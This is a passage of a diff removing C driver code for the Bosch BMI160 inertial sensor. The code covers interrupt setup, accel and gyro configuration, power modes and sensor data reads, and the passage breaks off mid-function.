-/*! - * @brief This API sets the step detection interrupt.This interrupt - * occurs when the single step causes accel values to go above - * preset threshold. - */ -static int8_t - set_accel_step_detect_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_step_detect_int_cfg* step_detect_int_cfg = - &(int_config->int_type_cfg.acc_step_detect_int); - rslt = enable_step_detect_int(step_detect_int_cfg, dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - rslt = config_step_detect(step_detect_int_cfg, dev); - } - } - } - } - - return rslt; -} - -/*! - * @brief This API sets the orientation interrupt of the sensor.This - * interrupt occurs when there is orientation change in the sensor - * with respect to gravitational field vector g. - */ -static int8_t - set_accel_orientation_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_orient_int_cfg* orient_int_cfg = - &(int_config->int_type_cfg.acc_orient_int); - rslt = enable_orient_int(orient_int_cfg, dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - /* map INT pin to orient interrupt */ - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - /* configure the - * orientation setting*/ - rslt = config_orient_int_settg(orient_int_cfg, dev); - } - } - } - } - - return rslt; -} - -/*! - * @brief This API sets the flat interrupt of the sensor.This interrupt - * occurs in case of flat orientation - */ -static int8_t - set_accel_flat_detect_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_flat_detect_int_cfg* flat_detect_int = - &(int_config->int_type_cfg.acc_flat_int); - - /* enable the flat interrupt */ - rslt = enable_flat_int(flat_detect_int, dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - /* map INT pin to flat interrupt */ - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - /* configure the flat setting*/ - rslt = config_flat_int_settg(flat_detect_int, dev); - } - } - } - } - - return rslt; -} - -/*! - * @brief This API sets the low-g interrupt of the sensor.This interrupt - * occurs during free-fall. - */ -static int8_t - set_accel_low_g_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_low_g_int_cfg* low_g_int = &(int_config->int_type_cfg.acc_low_g_int); - - /* Enable the low-g interrupt*/ - rslt = enable_low_g_int(low_g_int, dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - /* Map INT pin to low-g interrupt */ - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - /* configure the data source - * for low-g interrupt*/ - rslt = config_low_g_data_src(low_g_int, dev); - if(rslt == BMI160_OK) { - rslt = config_low_g_int_settg(low_g_int, dev); - } - } - } - } - } - - return rslt; -} - -/*! - * @brief This API sets the high-g interrupt of the sensor.The interrupt - * occurs if the absolute value of acceleration data of any enabled axis - * exceeds the programmed threshold and the sign of the value does not - * change for a preset duration. - */ -static int8_t - set_accel_high_g_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_high_g_int_cfg* high_g_int_cfg = - &(int_config->int_type_cfg.acc_high_g_int); - - /* Enable the high-g interrupt */ - rslt = enable_high_g_int(high_g_int_cfg, dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - /* Map INT pin to high-g interrupt */ - rslt = map_feature_interrupt(int_config, dev); - if(rslt == BMI160_OK) { - /* configure the data source - * for high-g interrupt*/ - rslt = config_high_g_data_src(high_g_int_cfg, dev); - if(rslt == BMI160_OK) { - rslt = config_high_g_int_settg(high_g_int_cfg, dev); - } - } - } - } - } - - return rslt; -} - -/*! - * @brief This API configures the pins to fire the - * interrupt signal when it occurs. - */ -static int8_t - set_intr_pin_config(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - - /* configure the behavioural settings of interrupt pin */ - rslt = config_int_out_ctrl(int_config, dev); - if(rslt == BMI160_OK) { - rslt = config_int_latch(int_config, dev); - } - - return rslt; -} - -/*! - * @brief This internal API is used to validate the device structure pointer for - * null conditions. - */ -static int8_t null_ptr_check(const struct bmi160_dev* dev) { - int8_t rslt; - - if((dev == NULL) || (dev->read == NULL) || (dev->write == NULL) || (dev->delay_ms == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Device structure is fine */ - rslt = BMI160_OK; - } - - return rslt; -} - -/*! - * @brief This API sets the default configuration parameters of accel & gyro. - * Also maintain the previous state of configurations. - */ -static void default_param_settg(struct bmi160_dev* dev) { - /* Initializing accel and gyro params with - * default values */ - dev->accel_cfg.bw = BMI160_ACCEL_BW_NORMAL_AVG4; - dev->accel_cfg.odr = BMI160_ACCEL_ODR_100HZ; - dev->accel_cfg.power = BMI160_ACCEL_SUSPEND_MODE; - dev->accel_cfg.range = BMI160_ACCEL_RANGE_2G; - dev->gyro_cfg.bw = BMI160_GYRO_BW_NORMAL_MODE; - dev->gyro_cfg.odr = BMI160_GYRO_ODR_100HZ; - dev->gyro_cfg.power = BMI160_GYRO_SUSPEND_MODE; - dev->gyro_cfg.range = BMI160_GYRO_RANGE_2000_DPS; - - /* To maintain the previous state of accel configuration */ - dev->prev_accel_cfg = dev->accel_cfg; - - /* To maintain the previous state of gyro configuration */ - dev->prev_gyro_cfg = dev->gyro_cfg; -} - -/*! - * @brief This API set the accel configuration. - */ -static int8_t set_accel_conf(struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data[2] = {0}; - - rslt = check_accel_config(data, dev); - if(rslt == BMI160_OK) { - /* Write output data rate and bandwidth */ - rslt = bmi160_set_regs(BMI160_ACCEL_CONFIG_ADDR, &data[0], 1, dev); - if(rslt == BMI160_OK) { - dev->prev_accel_cfg.odr = dev->accel_cfg.odr; - dev->prev_accel_cfg.bw = dev->accel_cfg.bw; - - /* write accel range */ - rslt = bmi160_set_regs(BMI160_ACCEL_RANGE_ADDR, &data[1], 1, dev); - if(rslt == BMI160_OK) { - dev->prev_accel_cfg.range = dev->accel_cfg.range; - } - } - } - - return rslt; -} - -/*! - * @brief This API gets the accel configuration. - */ -static int8_t get_accel_conf(struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data[2] = {0}; - - /* Get accel configurations */ - rslt = bmi160_get_regs(BMI160_ACCEL_CONFIG_ADDR, data, 2, dev); - if(rslt == BMI160_OK) { - dev->accel_cfg.odr = (data[0] & BMI160_ACCEL_ODR_MASK); - dev->accel_cfg.bw = (data[0] & BMI160_ACCEL_BW_MASK) >> BMI160_ACCEL_BW_POS; - dev->accel_cfg.range = (data[1] & BMI160_ACCEL_RANGE_MASK); - } - - return rslt; -} - -/*! - * @brief This API check the accel configuration. - */ -static int8_t check_accel_config(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt; - - /* read accel Output data rate and bandwidth */ - rslt = bmi160_get_regs(BMI160_ACCEL_CONFIG_ADDR, data, 2, dev); - if(rslt == BMI160_OK) { - rslt = process_accel_odr(&data[0], dev); - if(rslt == BMI160_OK) { - rslt = process_accel_bw(&data[0], dev); - if(rslt == BMI160_OK) { - rslt = process_accel_range(&data[1], dev); - } - } - } - - return rslt; -} - -/*! - * @brief This API process the accel odr. - */ -static int8_t process_accel_odr(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t temp = 0; - uint8_t odr = 0; - - if(dev->accel_cfg.odr <= BMI160_ACCEL_ODR_1600HZ) { - if(dev->accel_cfg.odr != dev->prev_accel_cfg.odr) { - odr = (uint8_t)dev->accel_cfg.odr; - temp = *data & ~BMI160_ACCEL_ODR_MASK; - - /* Adding output data rate */ - *data = temp | (odr & BMI160_ACCEL_ODR_MASK); - } - } else { - rslt = BMI160_E_OUT_OF_RANGE; - } - - return rslt; -} - -/*! - * @brief This API process the accel bandwidth. - */ -static int8_t process_accel_bw(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t temp = 0; - uint8_t bw = 0; - - if(dev->accel_cfg.bw <= BMI160_ACCEL_BW_RES_AVG128) { - if(dev->accel_cfg.bw != dev->prev_accel_cfg.bw) { - bw = (uint8_t)dev->accel_cfg.bw; - temp = *data & ~BMI160_ACCEL_BW_MASK; - - /* Adding bandwidth */ - *data = temp | ((bw << 4) & BMI160_ACCEL_BW_MASK); - } - } else { - rslt = BMI160_E_OUT_OF_RANGE; - } - - return rslt; -} - -/*! - * @brief This API process the accel range. - */ -static int8_t process_accel_range(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t temp = 0; - uint8_t range = 0; - - if(dev->accel_cfg.range <= BMI160_ACCEL_RANGE_16G) { - if(dev->accel_cfg.range != dev->prev_accel_cfg.range) { - range = (uint8_t)dev->accel_cfg.range; - temp = *data & ~BMI160_ACCEL_RANGE_MASK; - - /* Adding range */ - *data = temp | (range & BMI160_ACCEL_RANGE_MASK); - } - } else { - rslt = BMI160_E_OUT_OF_RANGE; - } - - return rslt; -} - -/*! - * @brief This API checks the invalid settings for ODR & Bw for - * Accel and Gyro. - */ -static int8_t check_invalid_settg(const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - - /* read the error reg */ - rslt = bmi160_get_regs(BMI160_ERROR_REG_ADDR, &data, 1, dev); - data = data >> 1; - data = data & BMI160_ERR_REG_MASK; - if(data == 1) { - rslt = BMI160_E_ACCEL_ODR_BW_INVALID; - } else if(data == 2) { - rslt = BMI160_E_GYRO_ODR_BW_INVALID; - } else if(data == 3) { - rslt = BMI160_E_LWP_PRE_FLTR_INT_INVALID; - } else if(data == 7) { - rslt = BMI160_E_LWP_PRE_FLTR_INVALID; - } - - return rslt; -} -static int8_t set_gyro_conf(struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data[2] = {0}; - - rslt = check_gyro_config(data, dev); - if(rslt == BMI160_OK) { - /* Write output data rate and bandwidth */ - rslt = bmi160_set_regs(BMI160_GYRO_CONFIG_ADDR, &data[0], 1, dev); - if(rslt == BMI160_OK) { - dev->prev_gyro_cfg.odr = dev->gyro_cfg.odr; - dev->prev_gyro_cfg.bw = dev->gyro_cfg.bw; - - /* Write gyro range */ - rslt = bmi160_set_regs(BMI160_GYRO_RANGE_ADDR, &data[1], 1, dev); - if(rslt == BMI160_OK) { - dev->prev_gyro_cfg.range = dev->gyro_cfg.range; - } - } - } - - return rslt; -} - -/*! - * @brief This API gets the gyro configuration. - */ -static int8_t get_gyro_conf(struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data[2] = {0}; - - /* Get accel configurations */ - rslt = bmi160_get_regs(BMI160_GYRO_CONFIG_ADDR, data, 2, dev); - if(rslt == BMI160_OK) { - dev->gyro_cfg.odr = (data[0] & BMI160_GYRO_ODR_MASK); - dev->gyro_cfg.bw = (data[0] & BMI160_GYRO_BW_MASK) >> BMI160_GYRO_BW_POS; - dev->gyro_cfg.range = (data[1] & BMI160_GYRO_RANGE_MASK); - } - - return rslt; -} - -/*! - * @brief This API check the gyro configuration. - */ -static int8_t check_gyro_config(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt; - - /* read gyro Output data rate and bandwidth */ - rslt = bmi160_get_regs(BMI160_GYRO_CONFIG_ADDR, data, 2, dev); - if(rslt == BMI160_OK) { - rslt = process_gyro_odr(&data[0], dev); - if(rslt == BMI160_OK) { - rslt = process_gyro_bw(&data[0], dev); - if(rslt == BMI160_OK) { - rslt = process_gyro_range(&data[1], dev); - } - } - } - - return rslt; -} - -/*! - * @brief This API process the gyro odr. - */ -static int8_t process_gyro_odr(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t temp = 0; - uint8_t odr = 0; - - if(dev->gyro_cfg.odr <= BMI160_GYRO_ODR_3200HZ) { - if(dev->gyro_cfg.odr != dev->prev_gyro_cfg.odr) { - odr = (uint8_t)dev->gyro_cfg.odr; - temp = (*data & ~BMI160_GYRO_ODR_MASK); - - /* Adding output data rate */ - *data = temp | (odr & BMI160_GYRO_ODR_MASK); - } - } else { - rslt = BMI160_E_OUT_OF_RANGE; - } - - return rslt; -} - -/*! - * @brief This API process the gyro bandwidth. - */ -static int8_t process_gyro_bw(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t temp = 0; - uint8_t bw = 0; - - if(dev->gyro_cfg.bw <= BMI160_GYRO_BW_NORMAL_MODE) { - bw = (uint8_t)dev->gyro_cfg.bw; - temp = *data & ~BMI160_GYRO_BW_MASK; - - /* Adding bandwidth */ - *data = temp | ((bw << 4) & BMI160_GYRO_BW_MASK); - } else { - rslt = BMI160_E_OUT_OF_RANGE; - } - - return rslt; -} - -/*! - * @brief This API process the gyro range. - */ -static int8_t process_gyro_range(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t temp = 0; - uint8_t range = 0; - - if(dev->gyro_cfg.range <= BMI160_GYRO_RANGE_125_DPS) { - if(dev->gyro_cfg.range != dev->prev_gyro_cfg.range) { - range = (uint8_t)dev->gyro_cfg.range; - temp = *data & ~BMI160_GYRO_RANGE_MASK; - - /* Adding range */ - *data = temp | (range & BMI160_GYRO_RANGE_MASK); - } - } else { - rslt = BMI160_E_OUT_OF_RANGE; - } - - return rslt; -} - -/*! - * @brief This API sets the accel power. - */ -static int8_t set_accel_pwr(struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t data = 0; - - if((dev->accel_cfg.power >= BMI160_ACCEL_SUSPEND_MODE) && - (dev->accel_cfg.power <= BMI160_ACCEL_LOWPOWER_MODE)) { - if(dev->accel_cfg.power != dev->prev_accel_cfg.power) { - rslt = process_under_sampling(&data, dev); - if(rslt == BMI160_OK) { - /* Write accel power */ - rslt = bmi160_set_regs(BMI160_COMMAND_REG_ADDR, &dev->accel_cfg.power, 1, dev); - - /* Add delay of 3.8 ms - refer data sheet table 24*/ - if(dev->prev_accel_cfg.power == BMI160_ACCEL_SUSPEND_MODE) { - dev->delay_ms(BMI160_ACCEL_DELAY_MS); - } - - dev->prev_accel_cfg.power = dev->accel_cfg.power; - } - } - } else { - rslt = BMI160_E_INVALID_CONFIG; - } - - return rslt; -} - -/*! - * @brief This API process the undersampling setting of Accel. - */ -static int8_t process_under_sampling(uint8_t* data, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t temp = 0; - uint8_t pre_filter[2] = {0}; - - rslt = bmi160_get_regs(BMI160_ACCEL_CONFIG_ADDR, data, 1, dev); - if(rslt == BMI160_OK) { - if(dev->accel_cfg.power == BMI160_ACCEL_LOWPOWER_MODE) { - temp = *data & ~BMI160_ACCEL_UNDERSAMPLING_MASK; - - /* Set under-sampling parameter */ - *data = temp | ((1 << 7) & BMI160_ACCEL_UNDERSAMPLING_MASK); - - /* Write data */ - rslt = bmi160_set_regs(BMI160_ACCEL_CONFIG_ADDR, data, 1, dev); - - /* Disable the pre-filter data in low power mode */ - if(rslt == BMI160_OK) { - /* Disable the Pre-filter data*/ - rslt = bmi160_set_regs(BMI160_INT_DATA_0_ADDR, pre_filter, 2, dev); - } - } else if(*data & BMI160_ACCEL_UNDERSAMPLING_MASK) { - temp = *data & ~BMI160_ACCEL_UNDERSAMPLING_MASK; - - /* Disable under-sampling parameter if already enabled */ - *data = temp; - - /* Write data */ - rslt = bmi160_set_regs(BMI160_ACCEL_CONFIG_ADDR, data, 1, dev); - } - } - - return rslt; -} - -/*! - * @brief This API sets the gyro power mode. - */ -static int8_t set_gyro_pwr(struct bmi160_dev* dev) { - int8_t rslt = 0; - - if((dev->gyro_cfg.power == BMI160_GYRO_SUSPEND_MODE) || - (dev->gyro_cfg.power == BMI160_GYRO_NORMAL_MODE) || - (dev->gyro_cfg.power == BMI160_GYRO_FASTSTARTUP_MODE)) { - if(dev->gyro_cfg.power != dev->prev_gyro_cfg.power) { - /* Write gyro power */ - rslt = bmi160_set_regs(BMI160_COMMAND_REG_ADDR, &dev->gyro_cfg.power, 1, dev); - if(dev->prev_gyro_cfg.power == BMI160_GYRO_SUSPEND_MODE) { - /* Delay of 80 ms - datasheet Table 24 */ - dev->delay_ms(BMI160_GYRO_DELAY_MS); - } else if( - (dev->prev_gyro_cfg.power == BMI160_GYRO_FASTSTARTUP_MODE) && - (dev->gyro_cfg.power == BMI160_GYRO_NORMAL_MODE)) { - /* This delay is required for transition from - * fast-startup mode to normal mode - datasheet Table 3 */ - dev->delay_ms(10); - } else { - /* do nothing */ - } - - dev->prev_gyro_cfg.power = dev->gyro_cfg.power; - } - } else { - rslt = BMI160_E_INVALID_CONFIG; - } - - return rslt; -} - -/*! - * @brief This API reads accel data along with sensor time if time is requested - * by user. Kindly refer the user guide(README.md) for more info. - */ -static int8_t - get_accel_data(uint8_t len, struct bmi160_sensor_data* accel, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t idx = 0; - uint8_t data_array[9] = {0}; - uint8_t time_0 = 0; - uint16_t time_1 = 0; - uint32_t time_2 = 0; - uint8_t lsb; - uint8_t msb; - int16_t msblsb; - - /* read accel sensor data along with time if requested */ - rslt = bmi160_get_regs(BMI160_ACCEL_DATA_ADDR, data_array, 6 + len, dev); - if(rslt == BMI160_OK) { - /* Accel Data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - accel->x = msblsb; /* Data in X axis */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - accel->y = msblsb; /* Data in Y axis */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - accel->z = msblsb; /* Data in Z axis */ - if(len == 3) { - time_0 = data_array[idx++]; - time_1 = (uint16_t)(data_array[idx++] << 8); - time_2 = (uint32_t)(data_array[idx++] << 16); - accel->sensortime = (uint32_t)(time_2 | time_1 | time_0); - } else { - accel->sensortime = 0; - } - } else { - rslt = BMI160_E_COM_FAIL; - } - - return rslt; -} - -/*! - * @brief This API reads accel data along with sensor time if time is requested - * by user. Kindly refer the user guide(README.md) for more info. - */ -static int8_t - get_gyro_data(uint8_t len, struct bmi160_sensor_data* gyro, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t idx = 0; - uint8_t data_array[15] = {0}; - uint8_t time_0 = 0; - uint16_t time_1 = 0; - uint32_t time_2 = 0; - uint8_t lsb; - uint8_t msb; - int16_t msblsb; - - if(len == 0) { - /* read gyro data only */ - rslt = bmi160_get_regs(BMI160_GYRO_DATA_ADDR, data_array, 6, dev); - if(rslt == BMI160_OK) { - /* Gyro Data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->x = msblsb; /* Data in X axis */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->y = msblsb; /* Data in Y axis */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->z = msblsb; /* Data in Z axis */ - gyro->sensortime = 0; - } else { - rslt = BMI160_E_COM_FAIL; - } - } else { - /* read gyro sensor data along with time */ - rslt = bmi160_get_regs(BMI160_GYRO_DATA_ADDR, data_array, 12 + len, dev); - if(rslt == BMI160_OK) { - /* Gyro Data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->x = msblsb; /* gyro X axis data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->y = msblsb; /* gyro Y axis data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->z = msblsb; /* gyro Z axis data */ - idx = idx + 6; - time_0 = data_array[idx++]; - time_1 = (uint16_t)(data_array[idx++] << 8); - time_2 = (uint32_t)(data_array[idx++] << 16); - gyro->sensortime = (uint32_t)(time_2 | time_1 | time_0); - } else { - rslt = BMI160_E_COM_FAIL; - } - } - - return rslt; -} - -/*! - * @brief This API reads accel and gyro data along with sensor time - * if time is requested by user. - * Kindly refer the user guide(README.md) for more info. - */ -static int8_t get_accel_gyro_data( - uint8_t len, - struct bmi160_sensor_data* accel, - struct bmi160_sensor_data* gyro, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t idx = 0; - uint8_t data_array[15] = {0}; - uint8_t time_0 = 0; - uint16_t time_1 = 0; - uint32_t time_2 = 0; - uint8_t lsb; - uint8_t msb; - int16_t msblsb; - - /* read both accel and gyro sensor data - * along with time if requested */ - rslt = bmi160_get_regs(BMI160_GYRO_DATA_ADDR, data_array, 12 + len, dev); - if(rslt == BMI160_OK) { - /* Gyro Data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->x = msblsb; /* gyro X axis data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->y = msblsb; /* gyro Y axis data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - gyro->z = msblsb; /* gyro Z axis data */ - /* Accel Data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - accel->x = (int16_t)msblsb; /* accel X axis data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - accel->y = (int16_t)msblsb; /* accel Y axis data */ - lsb = data_array[idx++]; - msb = data_array[idx++]; - msblsb = (int16_t)((msb << 8) | lsb); - accel->z = (int16_t)msblsb; /* accel Z axis data */ - if(len == 3) { - time_0 = data_array[idx++]; - time_1 = (uint16_t)(data_array[idx++] << 8); - time_2 = (uint32_t)(data_array[idx++] << 16); - accel->sensortime = (uint32_t)(time_2 | time_1 | time_0); - gyro->sensortime = (uint32_t)(time_2 | time_1 | time_0); - } else { - accel->sensortime = 0; - gyro->sensortime = 0; - } - } else { - rslt = BMI160_E_COM_FAIL; - } - - return rslt; -} - -/*! - * @brief This API enables the any-motion interrupt for accel. - */ -static int8_t enable_accel_any_motion_int( - const struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg, - struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Enable any motion x, any motion y, any motion z - * in Int Enable 0 register */ - rslt = bmi160_get_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - if(any_motion_int_cfg->anymotion_en == BMI160_ENABLE) { - temp = data & ~BMI160_ANY_MOTION_X_INT_EN_MASK; - - /* Adding Any_motion x axis */ - data = temp | (any_motion_int_cfg->anymotion_x & BMI160_ANY_MOTION_X_INT_EN_MASK); - temp = data & ~BMI160_ANY_MOTION_Y_INT_EN_MASK; - - /* Adding Any_motion y axis */ - data = temp | - ((any_motion_int_cfg->anymotion_y << 1) & BMI160_ANY_MOTION_Y_INT_EN_MASK); - temp = data & ~BMI160_ANY_MOTION_Z_INT_EN_MASK; - - /* Adding Any_motion z axis */ - data = temp | - ((any_motion_int_cfg->anymotion_z << 2) & BMI160_ANY_MOTION_Z_INT_EN_MASK); - - /* any-motion feature selected*/ - dev->any_sig_sel = BMI160_ANY_MOTION_ENABLED; - } else { - data = data & ~BMI160_ANY_MOTION_ALL_INT_EN_MASK; - - /* neither any-motion feature nor sig-motion selected */ - dev->any_sig_sel = BMI160_BOTH_ANY_SIG_MOTION_DISABLED; - } - - /* write data to Int Enable 0 register */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_0_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API disable the sig-motion interrupt. - */ -static int8_t disable_sig_motion_int(const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Disabling Significant motion interrupt if enabled */ - rslt = bmi160_get_regs(BMI160_INT_MOTION_3_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = (data & BMI160_SIG_MOTION_SEL_MASK); - if(temp) { - temp = data & ~BMI160_SIG_MOTION_SEL_MASK; - data = temp; - - /* Write data to register */ - rslt = bmi160_set_regs(BMI160_INT_MOTION_3_ADDR, &data, 1, dev); - } - } - - return rslt; -} - -/*! - * @brief This API is used to map/unmap the Any/Sig motion, Step det/Low-g, - * Double tap, Single tap, Orientation, Flat, High-G, Nomotion interrupt pins. - */ -static int8_t - map_feature_interrupt(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data[3] = {0, 0, 0}; - uint8_t temp[3] = {0, 0, 0}; - - rslt = bmi160_get_regs(BMI160_INT_MAP_0_ADDR, data, 3, dev); - if(rslt == BMI160_OK) { - temp[0] = data[0] & ~int_mask_lookup_table[int_config->int_type]; - temp[2] = data[2] & ~int_mask_lookup_table[int_config->int_type]; - switch(int_config->int_channel) { - case BMI160_INT_CHANNEL_NONE: - data[0] = temp[0]; - data[2] = temp[2]; - break; - case BMI160_INT_CHANNEL_1: - data[0] = temp[0] | int_mask_lookup_table[int_config->int_type]; - data[2] = temp[2]; - break; - case BMI160_INT_CHANNEL_2: - data[2] = temp[2] | int_mask_lookup_table[int_config->int_type]; - data[0] = temp[0]; - break; - case BMI160_INT_CHANNEL_BOTH: - data[0] = temp[0] | int_mask_lookup_table[int_config->int_type]; - data[2] = temp[2] | int_mask_lookup_table[int_config->int_type]; - break; - default: - rslt = BMI160_E_OUT_OF_RANGE; - } - if(rslt == BMI160_OK) { - rslt = bmi160_set_regs(BMI160_INT_MAP_0_ADDR, data, 3, dev); - } - } - - return rslt; -} - -/*! - * @brief This API is used to map/unmap the Dataready(Accel & Gyro), FIFO full - * and FIFO watermark interrupt. - */ -static int8_t map_hardware_interrupt( - const struct bmi160_int_settg* int_config, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - rslt = bmi160_get_regs(BMI160_INT_MAP_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~int_mask_lookup_table[int_config->int_type]; - temp = temp & ~((uint8_t)(int_mask_lookup_table[int_config->int_type] << 4)); - switch(int_config->int_channel) { - case BMI160_INT_CHANNEL_NONE: - data = temp; - break; - case BMI160_INT_CHANNEL_1: - data = temp | (uint8_t)((int_mask_lookup_table[int_config->int_type]) << 4); - break; - case BMI160_INT_CHANNEL_2: - data = temp | int_mask_lookup_table[int_config->int_type]; - break; - case BMI160_INT_CHANNEL_BOTH: - data = temp | int_mask_lookup_table[int_config->int_type]; - data = data | (uint8_t)((int_mask_lookup_table[int_config->int_type]) << 4); - break; - default: - rslt = BMI160_E_OUT_OF_RANGE; - } - if(rslt == BMI160_OK) { - rslt = bmi160_set_regs(BMI160_INT_MAP_1_ADDR, &data, 1, dev); - } - } - - return rslt; -} - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for any-motion interrupt. - */ -static int8_t config_any_motion_src( - const struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - - /* Configure Int data 1 register to add source of interrupt */ - rslt = bmi160_get_regs(BMI160_INT_DATA_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - temp = data & ~BMI160_MOTION_SRC_INT_MASK; - data = temp | ((any_motion_int_cfg->anymotion_data_src << 7) & BMI160_MOTION_SRC_INT_MASK); - - /* Write data to DATA 1 address */ - rslt = bmi160_set_regs(BMI160_INT_DATA_1_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the duration and threshold of - * any-motion interrupt. - */ -static int8_t config_any_dur_threshold( - const struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - uint8_t temp = 0; - uint8_t data_array[2] = {0}; - uint8_t dur; - - /* Configure Int Motion 0 register */ - rslt = bmi160_get_regs(BMI160_INT_MOTION_0_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - /* slope duration */ - dur = (uint8_t)any_motion_int_cfg->anymotion_dur; - temp = data & ~BMI160_SLOPE_INT_DUR_MASK; - data = temp | (dur & BMI160_MOTION_SRC_INT_MASK); - data_array[0] = data; - - /* add slope threshold */ - data_array[1] = any_motion_int_cfg->anymotion_thr; - - /* INT MOTION 0 and INT MOTION 1 address lie consecutively, - * hence writing data to respective registers at one go */ - - /* Writing to 